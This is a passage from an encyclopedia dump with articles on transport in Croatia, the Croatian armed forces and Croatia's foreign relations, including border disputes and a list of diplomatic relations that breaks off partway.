The railways urgently need to be modernized, since during [[SFRY|communism]] there have been hardly any investments into the railway infrastructure. Many important routes are still not electrified and allow only single track traffic along series of bends. The aforementioned routes have been in constant renovation for the last ten years, with the result of increased maximum speed: on the Zagreb-Novska-Vinkovci line, there are sections where the limit was raised from 80 km/h to 120 km/h, and there are plans to go to 160 km/h on certain sections with the same rail tracks.

Recently, the Croatian railways introduced an initial series of modern [[tilting train]]s ordered from the German branch of [[Bombardier Transportation]]. They are normally deployed on the mountainous route between the two largest Croatian cities, route [[Zagreb]] - [[Split]], but are also sometimes on the [[InterCity]] routes in the continental part of the country. In the case of the Zagreb-Split route, this offers passengers a much more comfortable and time-saving journey with regard to previous trains whose journey took 9 hours, whereas the tilting trains take no more than 5.5 h, and are more quiet and better equipped as well.

The Croatian railways hope to revitalize rail traffic through further improvements and to establish the rail as serious competitor to rising car traffic, particularly during the summer months.

'''Statistics:'''

Railway length (as of 2004):
* total: 2,726 km
* standard gauge, 1.435 m: 2,726 km  (984 km electrified)

Rail links with adjacent countries:
* [[Transportation in Slovenia]]
* [[Transportation in Hungary]]
* [[Transportation in Serbia and Montenegro]]
* [[Transportation in Bosnia and Herzegovina]]

== Road transport ==

According to recent statements of European traffic experts, the Croatian [[highway]]s belong to the most modern and safest highways in Europe. This is also due to the fact that the largest part of the Croatian motorway system has just recently been constructed, and construction works are rapidly continuing.

A major reason for the current highway construction mania is that in the last 20 years under Communist rule, when Croatia formed part of the [[SFRY|former Yugoslavia]], no major projects had been realized (in 1991 when Croatia seceded, the only highways were Zagreb-[[Karlovac]] and Zagreb-[[Slavonski Brod]]). It was long ago (back to the times of the [[Croatian Spring]]) when the dream was born to connect the two largest Croatian cities, [[Zagreb]] and [[Split]], with a highway. The construction of this enormously important project, however, has always been blocked by the ruling [[Communist Party of Yugoslavia|Communist Party]]. Nowadays, in Croatia highway construction is considered as a symbol of unity, economic prosperity and cohesion and it is being systematically pursued.

[[Tourism]] is of major importance for the Croatian economy, and most tourists come to vacation in Croatia in their own cars. Without adequate roads, the traffic would get rather jammed during the summer months. For this reason, and as a means for stimulating urgently needed economic growth, highways have become indispensable for the sustainable development of this country. Croatia already has a considerable highway density for a country that still has to cope with the consequences of [[Communism]] and the [[war in Croatia|recent war]].

'''Statistics:'''

Roads and highways (as of 2002):
* total: 28,344 km
* paved: 23,979 km (including 455 km of expressways)
* unpaved: 4,365 km

===Road rules===

In 2004, a controversial new traffic law has been introduced, which provides for drastic safety measures for drunken or dangerous driving: it reduced the blood alcohol limit to 0.

Some of the more technical safety measures include that all new Croatian [[tunnel]]s have modern safety equipment and there are several control centers, which monitor highway traffic.


===Constructed highways and expressways===

*(A7) [[Slovenia|Slovenian border]]/Border crossing at [[Rupa]] - [[Rijeka]] (11 km): Opened on June 30, [[2005]] (E61)
*(A1) [[Zagreb]] - [[Split]]: Opened on June 26, [[2005]]. 380 km.
** traffic narrowed to a single two-way lane in the ''Mala Kapela'' and ''Sveti Rok'' tunnels.
** Three additional lanes at toll gate ''Lučko'' near Zagreb.
** E71 and E65: Section Zagreb-Karlovac {{fn|1}}
** Toll gates at ''Bosiljevo'' have been removed (junction to the A6 in direction [[Rijeka]]).
*(A9) Slovenian border - [[Umag]] - [[Rovinj]] - [[Kanfanar]] - [[Vodnjan]] (expressway, 50 km, since June [[2005]]) (E751)
**Kanfanar ([[Istria]]) - [[Rijeka]] (expressway) &amp;mdash; together with E751 this is A9
*(A6, A1) [[Zagreb]] - [[Rijeka]]: Partly expressway (55 km in mountaneous rgion from [[Kupjak]] to [[Vrbovsko]])
*(A4) [[Hungary|Hungarian border]] (border crossing at [[Letenye]]) - [[Varaždin]]/[[Čakovec]] - [[Zagreb]] (E71)
*(A2) [[Krapina]] - [[Zagreb]] (E59)
*(A3) [[Slovenia|Slovenian border]] ([[Bregana]] border crossing) - [[Zagreb]] - [[Županja]] ([[Slavonia]]) (E70)


Legend:
* &quot;Highway&quot; means what is called ''autocesta'' in Croatia: a road with two lanes in each direction, plus a side-lane for emergencies.
* &quot;Expressway&quot; means what is called ''polu-autocesta'' in Croatia: a road with two lanes in each direction, without any side-lane for emergencies.
* A1 and other A*: designations of national routes
* E70 and other E*: designations of [[European route]]s

{{fnb|1}} In Karlovac, E71 turns to [[Bihać]] and [[Knin]], a road that is not a highway. E65 turns to Rijeka on an old road that is not a highway (and is instead replaced by highway A6).

===Toll===

Toll is charged on all highways, except on the motorway that surrounds the city of [[Zagreb]]. The toll is collected upon leaving the highway system, at all exit toll gates. Normally paid in [[kuna (currency)|kuna]], all major credit cards and [[euro]]s are accepted at all toll gates. Drivers receive a receipt at appropriate machines upon entering the motorway system. This receipt states the point of entry. The receipt must be presented upon leaving the motorway when toll is collected. Toll is being paid according to kilometers. It is not possible to evade this procedure since there are separate service areas in each direction and there is no possibility of return. Additionally, every vehicle is being monitored by video cameras at the toll gates.

Frequent travelers also have the possibility of buying a special [[SmartCard]] with certain included discounts (currently, one SmartCard for vehicle class 1 is 1200 kuna). However, it is not recommendable for less than 10 longer journeys along Croatian motorways per year. It is possible to charge this card with certain desirable amounts. 

There are also reduced rates for transport companies, which should prevent heavy traffic along regional roads. The government has introduced discounted tariffs for all classes of vehicles during the 2005-2006 winter months (December 24 until March 1). These discounts, however, apply only to SmartCard users.

===Highway A1===

The 380km long [[highway]] A1 [[Zagreb]] - [[Split]] is the showpiece project of all previous Croatian governments. The A1 connects the continental part of Croatia with Mediterranean [[Dalmatia]]. Its construction finished on [[June 26]], [[2005]]. The highway consists of two lanes in both directions in its full length (except of two tunnels, at Mala Kapela and at Sveti Rok, the second tubes will be opened for traffic when the car traffic frequency reaches adequate levels).

The most important edifice is [[Sveti Rok]] tunnel (5.687&amp;nbsp;m), which goes through the famous [[Velebit]] mountain range barrier. This tunnel actually connects two climatic zones (the mountaineous climate of central Croatia and the Mediterranean climate of Dalmatia). The most modern, and at the same time the longest Croatian tunnel, is also along the A1. It is the tunnel through the [[Mala Kapela]] mountain range (5,780&amp;nbsp;m elevation).

The highway winds itself as a panoramic road through the Croatian hills, goes along the [[Dalmatia]]n coast and passes the world-famous [[Krka National Park]]. There is a service area right beside a beautiful vantage point near to this National Park. The construction of this highway will continue rapidly in direction to the important [[Ploče]] sea port (and further on to [[Dubrovnik]]). The scheduled deadline for constructions up to Ploče is 2008. During this and the following year, numerous service areas and petrol stations will gradually be constructed along all Croatian highways.

===Other highways===

Within the following years, all major routes towards the north (to [[Slovenia]]) will be highway connections. Since June 2005 there are highways from the Slovenian border at [[Umag]] in direction to [[Rovinj]] and from the [[Rupa]] border crossing to [[Rijeka]].

Scheduled for May 2007, the connection [[Zagreb]]&amp;ndash;[[Krapina]]/[[Macelj]] border crossing, southern of [[Maribor]] will be completed.

The eastern and western &quot;wing&quot; of the so-called &quot;Istrian Y&quot; (expressway connection in [[Istria]]) has been opened for traffic since June 2005. About 2006, the last remaining part in direction to [[Pula]] in the south will be constructed. It is also being considered to transform these sections into a highway when a certain traffic limit will be reached.

The last remaining part of the highway connection A6 between [[Rijeka]] and [[Zagreb]] was constructed in spring 2004. An extension of the two-way traffic sections is planned for 2008. Within the following years, a second highway bypass around Rijeka and the highway connection [[Rijeka]]&amp;ndash;[[Senj]]/Žuta Lokva to the existing A1 will be built.

A highway connection of [[Zagreb]] and the important industrial city of [[Sisak]] should be constructed until 2008.

Within the next few years, all parts of Croatia should be easy to reach along modern highways. Highways will soon extend from [[Županja]] (eastern [[Slavonia]]) to [[Serbia]]. Construction works along the European North-South corridor 5C (route E73) between the [[Hungary|Hungarian border]] at [[Beli Manastir]], [[Osijek]] and the [[Bosnia and Herzegovina|Bosnian border]] in direction to [[Sarajevo]] and further on to the sea port of [[Ploce|Ploče]] will soon begin. (The connection from Zagreb to the Hungarian border at [[Varaždin]] and [[Čakovec]] has already been established.)

Significant tunnel and bridge construction projects in Southern Dalmatia are already being planned, such as the [[Biokovo]] tunnel near [[Makarska]], which will connect the panoramic seashore road with the future A1, and a sea bridge to the [[Peljesac|Pelješac]] peninsula (bridging Bosnian territory).


===Fixed construction deadlines===

*(A9) [[Vodnjan]] - [[Pula]] ([[Istria]]) (15 km): Expressway construction until [[2006]]
*(A3) [[Županja]] - Serbian border (30 km): Completion in [[2006]]
*(A2) Slovenian border - [[Krapina]] (19 km): Completion in May [[2007]]
*(A1) [[Split]] - [[Ploče]] (96 km): Completion up to Šestanovac in June [[2007]] (36 km), up to Ploče [[2008]] (60 km)
*(A5) Bosnian border - [[Osijek]] - Hungarian border (89 km): Completion of the part from the existing motorway at junction Sredanci up to [[Đakovo]] in fall [[2007]] (23 km), up to Osijek in [[2008]] (additional 32 km)
*(A11) [[Zagreb]] - [[Velika Gorica]] - [[Sisak]] (46 km): Completion up to [[Velika Gorica]] (8 km) in fall [[2007]], up to Lekenik in [[2008]] (20 km), up to [[Sisak]] (Mošćenica) after [[2008]]
*Second motorway ring around [[Rijeka]] (28 km): Completion in [[2008]]
*(A6, A1) [[Rijeka]] - [[Zagreb]]: Completion of two-lanes in each direction from [[Kupjak]] to [[Vrbovsko]] (55 km) until [[2008]]
*(A7) Connection [[Rijeka]] - [[Senj]]/Žuta Lokva in direction to the A1 (87 km): deadline not set, but construction is planned
*(A10) [[Ploče]]-border to [[Bosnia and Hercegovina]] (9 km): Start of constructions depends on motorway construction progress in Bosnia and Hercegovina (Croatian border - [[Tuzla]] - [[Sarajevo]] - [[Mostar]] - [[Ploče]]).

===Other major roads===

There are other notable national roads, with designations:
* D1: the road from [[Zagreb]] to Split via [[Lika]] - passes through [[Karlovac]], [[Slunj]], [[Plitvice]], [[Korenica]], [[Knin]], [[Sinj]]
* D2: the road from [[Varaždin]] to [[Osijek]] via [[Podravina]] - passes through [[Koprivnica]], [[Virovitica]], [[Slatina]], [[Našice]]

These roads are monitored by Croatian auto-club and the road authorities because they connect important locations, but are only two-way and don't support larger volumes of traffic.

=== Bus traffic ===

In contrast to the fairly underdeveloped rail traffic, [[bus]]es represent the most-accepted, cheapest and widely-used means of public transport. National bus traffic is very well developed and it is very easy to reach even the remotest parts of Croatia by bus. Almost all buses on national routes are air-conditioned and offer pleasant traveling comfort.

In practice, bus fares are being collected on the bus while traveling, which is sometimes even cheaper than when paying at the ticket office (there is an additional fee for stored luggage).

From Croatia, there are many international bus routes to the neighboring countries ([[Slovenia]], [[Bosnia and Herzegovina]], etc.), as well as to [[Austria]], [[Germany]], [[Switzerland]] and to other European countries. International buses correspond to European standards.

[[Zagreb]] has the largest and most modern bus terminal in the country, with specially-designed waiting areas above the bus parking area. The Zagreb bus terminal is not far away from the main train station ''(Glavni kolodvor)'' and it is easy to reach by direct city [[tram]] lines.

== Water transport ==

===Sea transport===

Croatia has several large [[seaport]]s. The largest seaport with the deepest channel to a port in the Adriatic is [[Rijeka]] on the northern Croatian coast, followed by [[Ploče]] in southern Dalmatia. The port of Ploče is of strategic importance for the industries of [[Bosnia and Herzegovina]]. The largest Croatian passenger ports are [[Split]] and [[Zadar]] (capital of [[Dalmatia]]), also called ''gateways to the islands'' (there are more than thousand islands along the Croatian coast).

'''Ports and harbors:'''
* major transport seaports: [[Omisalj|Omišalj]], [[Ploce|Ploče]], [[Rijeka]], [[Sibenik|Šibenik]]
* other seaports: [[Dubrovnik]], [[Dugi Rat]], [[Pula, Croatia|Pula]], [[Split]], [[Zadar]]
* inland waterway ports: [[Vukovar]] (on [[Danube]])

[[Merchant marine]] (as of 2005):
* ''total:'' 73 ships (1,000 [[tonnage|GRT]] or over) totaling 750,579 GRT/1,178,786 [[deadweight ton|DWT]]
* ''ships by type:''
** bulk carrier 25
** cargo 12
** chemical tanker 2
** passenger/cargo 25
** petroleum tanker 4
** refrigerated cargo 1
** roll on/roll off 4
** foreign-owned ships registered here as a flag of convenience: 1
*** [[Denmark]] 1
** registered in other countries: 31

===River transport===

Croatia is also on the important [[Danube]] waterway, which connects Eastern and Central Europe. The major Danube port is [[Vukovar]].

Perennially navigable rivers:
* [[Danube]] (section from Batina to Ilok which is in Croatia)
* [[Sava]] - from [[Sisak]] (until it exits Croatia near Gunja)
Total [[waterway]] length (as of 2004): 785 km

== Pipelines ==

As of 2004:
* [[natural gas|gas]]: 1,340 km
* [[petroleum|oil]]: 583 km

== See also ==
* [[Croatia]]
* [[Croatian car number plates]]

==External links==
* [http://lacroatie.free.fr/croatia/high/index.php Motorways in Croatia]
* [http://www.hac.hr/index.php?l=en Croatian Motorways, current developments, toll rates]
* [http://www.akz.hr/Eng/Time-table/time-table.html Main bus terminal in Zagreb, timetables]
* [http://www.hznet.hr/eng Croatian Railways - Hrvatske Željeznice (HŽ)]

[[Category:Transport in Croatia| ]]
[[Category:Transportation by country|Croatia]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Croatia</title>
    <id>5581</id>
    <revision>
      <id>25167511</id>
      <timestamp>2005-10-10T02:15:46Z</timestamp>
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        <username>Whobot</username>
        <id>393532</id>
      </contributor>
      <minor />
      <comment>Recat per [[Wikipedia:Categories_for_deletion/Log/2005_October_1|WP:CFD]] Category:Croatian_military to Category:Military_of_Croatia</comment>
      <text xml:space="preserve">[[Image:Osrh.jpg|right|Emblem of the Armed Forces]]

[[Croatia]]'s [[military]] is officially called &quot;Armed Forces of the Republic of Croatia&quot; (''Oružane Snage Republike Hrvatske'') and it consists of these branches:

* [[Croatian ground army|ground forces]]  (''Hrvatska kopnena vojska'')
* [[Croatian war navy|naval forces]]  (''Hrvatska Ratna Mornarica'')
* [[Croatian air and air defense forces|air and air defense forces]]  (''Hrvatsko ratno zrakoplovstvo i protuzračna obrana'')

Total active duty members of the armed forces number is 29,000, including about 21,000 [[conscript]]s.

Reserves number 111,000 out of which 32,360 on first state of alert. Available males aged 15-49 number 1,081,135, of which 856,946 are technically fit for military service.

Only male citizens are subject to [[compulsory military service]]. The number of males reaching military age of 19 is 30,096 per year (2003 est.), at which point they have eight years to enlist either for 6 months in the army or for 8 months in the civil service.

The Croatian military budget was approximately USD 1.1 billion in 1997 (a little more than 5% of [[Gross domestic product|GDP]]), but it has since been reduced significantly (USD 520 million or 2.39% of GDP in 2002) and further reduced in 2003 (2.2% of GDP).

The [[Commander-in-Chief]] of all Croatian armed forces in peace and war is the [[President of Croatia|President of the Republic]]. The Commander-in-Chief prescribes the organisation of the Croatian Armed Forces at the proposal of the Chief of General Staff, with consent of the Minister of Defence.

The Armed Forces consist of peacetime and wartime component. The peacetime component is made of active military officers, [[civil servant]]s and employees in the Croatian Armed Forces, cadets, and conscripts serving a 6-month national service and reservists when on military exercise. The wartime component of the Armed Forces is additionally made of all other reservists.

[[Croatian General Staff|The General Staff]] is part of Ministry of Defense in charge of commanding, training and use of the Armed Forces.

In peace, Commander-in-Chief exercises his command through Minister of Defense. In war and in case the Minister of Defence is not fulfilling orders, Commander-in-Chief exercises his command directly through the General Staff Commander.

The [[Croatian Parliament]] exercises democratic control over the Armed Forces by adopting defense strategy, defense budget and defense laws.

==See also==
* [[Croatian military ranks]]
** [[Admiral Flote]]

==External links==
* [http://www.morh.hr/osrh/index_en.asp Croatian Armed Forces Official website]
* [http://www.vojska.net/military/croatia/ Unofficial website describing structure and development of Croatian armed forces; army, navy and air force; combat history of individual units, orders of battle and military equipment]

[[Category:Military of Croatia]]
[[hr:Hrvatska vojska]]</text>
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  </page>
  <page>
    <title>Foreign relations of Croatia</title>
    <id>5582</id>
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      <contributor>
        <username>DabMachine</username>
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      </contributor>
      <minor />
      <comment>disambiguation from [[Slovak Republic]] to [[Slovakia]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{Politics of Croatia}}
== History ==

[[Croatia]]n [[foreign policy]] has focused on greater Euro-Atlantic integration, mainly entering the [[European Union]] and [[NATO]]. In order to gain access to European and trans-Atlantic institutions, it has had to undo many negative effects of the breakup of [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] and the war that ensued, and improve and maintain good relations with its neighbors.

Key issues over the last decade have been the implementation of the [[Dayton Agreement|Dayton Accords]] and the Erdut Agreement, nondiscriminatory facilitation of the return of refugees and displaced persons from the 1991-95 war including property restitution for ethnic [[Serbs]], resolution of border disputes with [[Slovenia]], [[Bosnia and Herzegovina]], and [[Serbia and Montenegro]], and general [[Democracy|democratization]].

Croatia has had an uneven record in these areas between [[1996]] and [[1999]] during the [[right-wing]] HDZ government, inhibiting its relations with European Union and the U.S. Improvement in these areas severely hindered the advance of Croatia's prospects for further Euro-Atlantic integration. Progress in the areas of Dayton, Erdut, and refugee returns were evident in [[1998]], but progress was slow and required intensive international engagement.

Croatia's unsatisfactory performance implementing broader [[democratic reform]]s in 1998 raised questions about the ruling party's commitment to basic democratic principles and norms. Areas of concern included restrictions on [[freedom of speech]], one-party control of [[Public broadcasting|public TV and radio]], repression of independent media, unfair electoral regulations, a [[judiciary]] that is not fully independent, and lack of [[human rights|human]] and [[civil rights]] protection.

A centre-left coalition government was elected in early [[2000]]. The SDP-led government slowly relinquished control over public media companies and did not interfere with freedom of speech and independent media, though it didn't complete the process of making [[Croatian Radiotelevision]] independent. Judiciary reforms remained a pending issue as well.

Major Croatian advances in foreign relations during this period have included:
* admittance into NATO's [[Partnership for Peace]] Programme in May 2000
* admittance into [[World Trade Organization]] in July 2000;
* signing a Stabilization and [[European Union Association Agreement|Association Agreement]] with the EU in October 2001
* becoming part of NATO's Membership Action Programme in May 2002
* becoming a member of the [[Central European Free Trade Agreement]] (CEFTA) in December 2002
* application for membership in the EU in February [[2003]]
* full cooperation with the Hague Tribunal and the beginning of accession negotiations with the EU in October [[2005]]

The EU application was the last major international undertaking of the [[Ivica Račan|Račan]] government, which submitted a 7,000-page report in reply to the questionnaire by the [[European Commission]].

Foreign relations were severely affected by the government's hesitance and stalling of the extradition of Croatian general [[Janko Bobetko]] to the [[International Criminal Tribunal for the Former Yugoslavia]], and inability to take general [[Ante Gotovina]] into custody for questioning by the Court.

Refugee returns accelerated since [[1999]], reached a peak in [[2000]], but then slightly decreased in 2001 and 2002. The [[Organization for Security and Co-operation in Europe|OSCE]] mission in Croatia has continued to monitor the return of refugees and is still recording civil rights violations. Croatian Serbs continue to have problems with restitution of property and acceptance to the reconstruction assistance programmes. Combined with lacking economic opportunities in the rural areas of [[RSK|former Krajina]], the return process is highly troubled.

At the time of Croatia's application to the European Union, three EU countries were yet to ratify the Stabilization and Association Agreement: United Kingdom, the Netherlands and Italy.

The new [[Ivo Sanader|Sanader]] government repeated the assurances that Croatia will fulfill the missing political obligations, and expedited the extradition of several ICTY indictees.

The European Commission replied to the answers of the questionnaire sent to Croatia on [[April 20]], [[2004]] with a positive opinion. The country was finally accepted as EU candidate in July [[2004]]. Italy and Britain ratified the SA agreement shortly thereafter, while the ten EU countries that were admitted to membership that year ratified it en masse on a European Summit.

In December 2004, the EU leaders announced that accession negotiations with Croatia would start on [[March 17]], [[2005]] provided that Croatian government cooperates fully with the [[ICTY]]. The main issue, the flight of general [[Ante Gotovina|Gotovina]], however, remained unsolved and despite the agreement on an accession negotiation framework, the negotiations did not begin in March 2005.

On October 4, 2005 Croatia finally received green light for accession negotiations after the main prosecutor of the International Criminal Court, [[Carla del Ponte]] officially stated that Croatia is fully cooperating with the Tribunal. This has been the main condition demanded by EU foreign ministers for accession negotiations. The [[International Criminal Court]] (ICTY) called upon other southern European states to follow Croatia's good example. Thanks to the consistent position of [[Austria]] during the meeting of EU foreign ministers, a long period of instability and the questioning of the determination of the Croatian government to surrender war criminals has ended successfully. The Croatian Prime minister declared that full cooperation with the Hague Tribunal will continue. The Croatian people have always felt attached to Europe and European values are now looking full of hope towards an interesting negotiation period and the fulfilment of an old dream - equal membership in the [[European Union]] and the renewed belonging to a European community of values.

== Current events ==

The main objective of the Croatian foreign policy is admittance to the [[European Union]]. It applied in [[2003]], and began with accession negotiations in [[2005]].

Government officials in charge of foreign policy include the [[Foreign minister|Minister of Foreign Affairs]], currently Kolinda Grabar Kitarović, and the [[President of Croatia|President of the Republic]], currently Stjepan Mesić. The chief EU negotiator is [[Vladimir Drobnjak]].

[[As of 2004]], Croatia has diplomatic missions in 124 locations around the world, including two permanent missions to the [[United Nations]].
A complete listing of Croatian embassies in foreign countries is available at &quot;[http://www.mfa.hr/MVP.asp?pcpid=1613 Diplomatic Missions and Consular Offices]&quot; at the web site of the Ministry of Foreign Affairs.

== International organizations ==

Republic of Croatia participates in the following international organizations:

[[Council of Europe|CE]],
[[Central European Initiative|CEI]],
[[Euro-Atlantic Partnership Council|EAPC]],
[[European Bank for Reconstruction and Development|EBRD]],
[[United Nations Economic Commission for Europe|ECE]],
[[Food and Agriculture Organization|FAO]],
[[Inter-American Development Bank|IADB]],
[[IAEA]],
[[International Bank for Reconstruction and Development|IBRD]],
[[ICAO]],
[[International Criminal Court|ICC]],
[[ICFTU]],
[[International Red Cross and Red Crescent Movement|ICRM]],
[[International Development Association|IDA]],
[[IFAD]],
[[IFC]],
[[IFRCS]],
[[IHO]],
[[International Labour Organization|ILO]],
[[International Monetary Fund|IMF]],
[[International Maritime Organization|IMO]],
[[Inmarsat]],
[[Intelsat]],
[[Interpol]],
[[IOC]],
[[International Organization for Migration|IOM]],
[[International Organization for Standardization|ISO]],
[[International Telecommunication Union|ITU]],
[[Non-Aligned Movement|NAM]] (observer),
[[Organization of American States|OAS]] (observer),
[[OPCW]],
[[Organization for Security and Co-operation in Europe|OSCE]],
[[Permanent Court of Arbitration|PCA]],
[[Partnership for Peace|PFP]],
[[Southeast European Cooperative Initiative|SECI]], 
[[United Nations|UN]],
[[UNAMSIL]],
[[UNCTAD]],
[[UNESCO]],
[[UNIDO]],
[[UNMEE]],
[[UNMOGIP]],
[[UPU]],
[[WCO]],
[[World Health Organization|WHO]],
[[WIPO]],
[[WMO]],
[[WToO]],
[[WTrO]]

== Foreign support ==

Croatia receives support from donor programs of:
* [[European Bank for Reconstruction and Development]]
* [[European Commission]]
* [[International Bank for Reconstruction and Development]]
* [[International Monetary Fund]]
* [[Sweden]]
* [[Switzerland]]
* [[USAID]]

Between 1991 and 2003, the EBRD had directly invested a total of 1,212,039,000 [[Euro|EUR]] into projects in Croatia.

In [[1998]], U.S. support to Croatia came through the Southeastern European Economic Development Program (SEED), whose funding in Croatia totaled $23.25 million. More than half of that money was used to fund programs encouraging sustainable returns of refugees and displaced persons. About one-third of the assistance was used for democratization efforts, and another 5% funded financial sector restructuring.

In [[2003]], USAID considered Croatia to be on a &quot;glide path for graduation&quot; along with [[Bulgaria]]. Its 2002/2003/2004 funding includes around $10 million for economic development, up to $5 million for the development of democratic institutions, about $5 million for the return of population affected by war and between 2 and 3 million dollars for the &quot;mitigation of adverse social conditions and trends&quot;. A rising amount of funding is given to cross-cutting programs in anti-[[political corruption|corruption]], slightly under one million dollars.

The [[European Commission]] has proposed to assist Croatia's efforts to join the European Union with 245 million [[euro]]s from [[PHARE]], [[ISPA]] and [[SAPARD]] aid programs over the course of 2005 and 2006.

== International disputes ==

Relations with neighbouring states have normalized somewhat since the breakup of [[Socialist Federal Republic of Yugoslavia|Yugoslavia]]. Work has begun &amp;mdash; bilaterally and within the [[Stability Pact for South Eastern Europe]] since 1999 &amp;mdash; on political and economic cooperation in the region.

=== Bosnia and Herzegovina ===
Discussions continue between Croatia and [[Bosnia and Herzegovina]] on various sections of the border, the longest border with another country for each of these countries.

Sections of the [[Una]] river and villages at the base of Mount [[Plješevica]] are cadastrally part of Croatia, while some are part of Bosnia, which causes an excessive number of border crossings on a single route and impedes any serious development in the region. The [[Zagreb]]-[[Bihać]]-[[Split]] railway line is still closed for major traffic due to this issue. The road [[Karlovac]]-[[Bihać]]-[[Knin]], which is on the [[European route]] E71, is becoming increasingly unused because Croatia built a separate highway to the west of it.

The border on the [[Sava (river)|Sava]] river between Hrvatska [[Kostajnica]] on the northern, Croatian side of the river, and Bosanska [[Kostajnica]] on the southern, Bosnian side, is also being discussed. A river island between the two towns cadastrally belongs to Croatia but is controlled by Bosnia. The countries have been discussing the building of an international border crossing on the said river island.

The Herzegovinian municipality of [[Neum]] in the south makes the southernmost part of Croatia an [[exclave]] and the two countries are negotiating special transit rules through Neum to compensate for that.

=== Slovenia ===
Croatia and [[Slovenia]] have several land and maritime boundary disputes.

Slovenia claims the water border in the bay of [[Piran]]/Savudrija does not go through the middle of the bay, while Croatia claims it does. This is causing problems for the fishermen due to undefined area where the naval police of each country may patrol.

Related to the border in the said bay is Slovenian access to [[international waters]] which would require Croatia to cede at least some of its [[territorial waters]] to the west of [[Umag]].

A small number of cadastral units on the right-hand side of the river [[Dragonja]] in [[Istria]] have remained under Croatian jurisdiction after the river was re-routed after the Second World War. This area is located near the Sečovlje-Plovanija official border crossing point (set up by an interim agreement of the two countries in the 1990s).

The area around the peak of the [[Žumberak/Gorjanci]] mountain is cadastrally assigned partly to Slovenia (the Trdinov vrh area) and partly to Croatia (the Sveta Gera area). However, an old [[Yugoslav People's Army]] barracks building on the Croatian part of the border is still occupied by a small number of Slovenian army personnel.

Parliamentarians are far from ratifying an agreement signed by the then prime ministers [[Janez Drnovšek|Drnovšek]] and [[Ivica Račan|Račan]], which would have ceded most of the Bay of [[Piran]] and maritime access to Slovenia and several villages to Croatia.

Slovenia is disputing Croatia's claim to establish an economic section of the Adriatic, requiring direct access to the international waters. Croatia decided to pursue a policy of stricter control over fishing and other economic use of the sea. This policy is in place since late 2004 but excludes the EU countries (namely, Slovenia and Italy).

=== Serbia and Montenegro ===
In late 2002, Croatia and [[Serbia and Montenegro]] adopted an interim agreement to settle the disputed [[Prevlaka]] peninsula at the entrance of the [[Boka Kotorska|Bay of Kotor]], allowing the withdrawal of the [[United Nations Mission of Observers in Prevlaka|UN monitoring mission]]. Full demilitarization of the area is pending.

Croatia has also protested about Serbia's deployment of military forces to guard the border in the north (with [[Vojvodina]]), but has accepted the Serbian explanation that it is not done by police units due to lack of funding for border police reorganization.

Due to the [[meander]]ing of the [[Danube]], the eastern border of [[Baranja]] according to cadastral delineation is not followed, as each country controls territory on their side of the main river flow.
Further south, near [[Vukovar]] and near [[Sarengrad|Šarengrad]], there are two river islands that are nearer to the Serbian side of the river and have thus been controlled by the Yugoslav army ever since the secession, also contrary to the cadastre records.

=== Italy ===
Croatia and [[Italy]] continue to debate bilateral property and ethnic minority rights issues stemming from border changes after the [[World War II]].
{{sectstub}}

== Illicit drugs ==

Croatia is a transit point along the [[Balkan]] route for Southwest Asian [[heroin]] to [[Western Europe]].

It has also been used as a minor transit point for maritime shipments of [[South America]]n cocaine bound for Western Europe.

== Diplomatic Relations ==

=== States with which Croatia has established diplomatic relations  ===
{| class=&quot;wikitable&quot;
! bgcolor=&quot;#FFEBAD&quot;|[[State]] 
! bgcolor=&quot;#FFEBAD&quot;|Date of Establishment of Relations
|-
| [[Austria]]
| January 15, 1992
| 
|-
| [[Germany]]
| January 15, 1992
| 
|-
| [[Italy]]
| January 17, 1992
| 
|-
| [[Hungary]]
| January 18, 1992
| 
|-
| [[Sweden]]
| January 29, 1992
| 
|-
| [[Switzerland]]
| January 30, 1992
|
|-
| [[Denmark]]
| February 1, 1992
|
|-
| [[Portugal]]
| February 3, 1992
|
|-
| [[Liechtenstein]]
| February 4, 1992
|
|-
| [[Slovenia]]
| February 6, 1992
|
|-
| [[Holy See]]
| February 8, 1992
|
|-
| [[The Netherlands]]
| February 11, 1992
|
|-
| [[Australia]]
| February 13, 1992
|
|-
| [[Latvia]]
| February 14, 1992
|
|-
| [[Ukraine]]
| February 18, 1992
|
|-
| [[Finland]]
| February 19, 1992
|
|-
| [[Norway]]
| February 20, 1992
|
|-
| [[New Zealand]]
| February 25, 1992
|
|-
| [[Estonia]]
| March 2, 1992
|
|-
| [[Spain]]
| March 9, 1992
|
|-
| [[Belgium]]
| March 10, 1992
|
|-
| [[Paraguay]]
| March 13, 1992
|
|-
| [[Lithuania]]
| March 18, 1992
|
|-
| [[Republic of Macedonia|Macedonia]]
| March 30, 1992
|
|-
| [[Poland]]
| April 11, 1992
|
|-
| [[Argentina]]
| April 13, 1992
|
|-
| [[Chile]]
| April 15, 1992
|
|-
| [[Iran]]
| April 18, 1992
|
|-
| [[France]]
| April 24, 1992
|
|-
| [[Luxembourg]]
| April 29, 1992
|
|-
| [[Malaysia]]
| May 4, 1992
|
|-
| [[People's Republic of China]]
| May 13, 1992
|
|-
| [[Russian Federation]]
| May 25, 1992
|
|-
| [[United Arab Emirates]]
| June 23, 1992 
|
|-
| [[United Kingdom]]
| June 24, 1992
|
|-
| [[Morocco]]
| June 26, 1992
|
|-
| [[Iceland]]
| June 30, 1992
|
|-
| [[Malta]]
| June 30, 1992
|
|-
| [[India]]
| July 9, 1992
|
|-
| [[Sudan]]
| July 17, 1992
|
|-
| [[Greece]]
| July 20, 1992
|
|-
| [[Moldova]]
| July 20, 1992
|
|-
| [[Bosnia and Herzegovina]]
| July 21, 1992
|
|-
| [[United States of America]]
| August 11, 1992
|
|-
| [[Bulgaria]]
| August 13, 1992
|
|-
| [[Albania]]
| August 25, 1992
|
|-
| [[Turkey]]
| August 26, 1992
|
|-
| [[Romania]]
| August 29, 1992
|
|-
| [[Indonesia]]
| September 3, 1992
|
|-
| [[Thailand]]
| September 9, 1992
|
|-
| [[Cuba]]
| September 23, 1992
|
|-
| [[Belarus]]
| September 25, 1992
|
|-
| [[Egypt]]
| October 1, 1992
|
|-
| [[Venezuela]]
| October 9, 1992
|
|-
| [[Algeria]]
| October 15, 1992
|
|-
| [[Kazakhstan]]
| October 20, 1992
|
|-
| [[South Korea]]
| November 18, 1992
|
|-
| [[South Africa]]
| November 19, 1992
|
|-
| [[Singapore]]
| November 23, 1992
|
|-
| [[Bolivia]]
| November 26, 1992
|
|-
| [[North Korea]]
| November 30, 1992
|
|-
| [[Qatar]]
| December 5, 1992
|
|-
| [[Mexico]]
